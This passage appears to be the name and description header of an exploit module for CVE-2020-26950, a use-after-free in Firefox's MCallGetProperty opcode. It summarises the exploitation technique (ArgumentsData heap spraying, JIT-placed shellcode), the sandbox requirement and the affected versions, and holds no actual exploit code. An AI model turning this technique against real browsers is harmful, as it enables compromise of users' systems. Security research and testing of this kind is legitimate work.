'Name' => 'Firefox MCallGetProperty Write Side Effects Use After Free Exploit',
'Description' => %q{
This modules exploits CVE-2020-26950, a use after free exploit in Firefox.
The MCallGetProperty opcode can be emitted with unmet assumptions resulting
in an exploitable use-after-free condition.
This exploit uses a somewhat novel technique of spraying ArgumentsData
structures in order to construct primitives. The shellcode is forced into
executable memory via the JIT compiler, and executed by writing to the JIT
region pointer.
This exploit does not contain a sandbox escape, so firefox must be run
with the MOZ_DISABLE_CONTENT_SANDBOX environment variable set, in order
for the shellcode to run successfully.
This vulnerability affects Firefox < 82.0.3, Firefox ESR < 78.4.1, and
Thunderbird < 78.4.2, however only Firefox <= 79 is supported as a target.
Additional work may be needed to support other versions such as Firefox 82.0.1.
